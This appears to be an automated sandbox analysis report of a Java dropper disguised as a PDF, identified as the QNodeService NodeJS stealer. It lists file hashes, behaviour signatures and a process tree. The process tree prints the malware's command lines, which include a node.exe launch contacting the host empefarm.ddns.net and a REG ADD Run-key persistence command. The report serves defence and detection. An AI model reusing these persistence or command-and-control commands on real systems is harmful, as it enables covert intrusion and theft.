Analysis

  • max time kernel
    128s
  • max time network
    132s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    05-10-2020 13:14

General

  • Target

    list of equipment_puma_pdf.jar

  • Size

    258KB

  • MD5

    9d5548aa1a52a4fd8cc9ad1c64a23a09

  • SHA1

    72474bd84027c0aa72b09c3f48e1c57ecf935bb2

  • SHA256

    0d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6

  • SHA512

    c73296d0b6cd972a90eef0e7a4c32874cf190cf2d545f2f1338ce2d3bf7dfc784a46bf514be6b7d2ebb92124e610c86667a53f7d3ebe5c31a5791a6ef8e90eb6

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\list of equipment_puma_pdf.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3356b8c6.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3516
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:788
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3184
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2180
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:1648

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • C:\Users\Admin\AppData\Local\Temp\3356b8c6.tmp

    MD5

    9d5548aa1a52a4fd8cc9ad1c64a23a09

    SHA1

    72474bd84027c0aa72b09c3f48e1c57ecf935bb2

    SHA256

    0d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6

    SHA512

    c73296d0b6cd972a90eef0e7a4c32874cf190cf2d545f2f1338ce2d3bf7dfc784a46bf514be6b7d2ebb92124e610c86667a53f7d3ebe5c31a5791a6ef8e90eb6

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js

    MD5

    c686d5fcf94d07f7cee70109eba9c4d3

    SHA1

    588eee04fdbf1fa372c8389c66d581e0b37afd7e

    SHA256

    e7e4897c0bbcd7e2931011f7839a0ebe920dc14e116fb898fc5e318827dc425d

    SHA512

    5af3b52daafe41bf891dcd846c3b8c15c04d1da2cdb28c915cf970f2fbe3d7bba6b6fc7c291a431a2d0a437f159322401eb8aa567a146763d665ca76677853a3

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/788-164-0x0000000000000000-mapping.dmp

  • memory/788-166-0x0000001D75AC0000-0x0000001D75AC1000-memory.dmp

    Filesize

    4KB

  • memory/1648-172-0x0000000000000000-mapping.dmp

  • memory/2180-171-0x0000000000000000-mapping.dmp

  • memory/3184-168-0x0000000000000000-mapping.dmp

  • memory/3184-170-0x000000A1111C0000-0x000000A1111C1000-memory.dmp

    Filesize

    4KB

  • memory/3516-51-0x0000000000000000-mapping.dmp

  • memory/3580-163-0x000000AF59080000-0x000000AF59081000-memory.dmp

    Filesize

    4KB

  • memory/3580-161-0x0000000000000000-mapping.dmp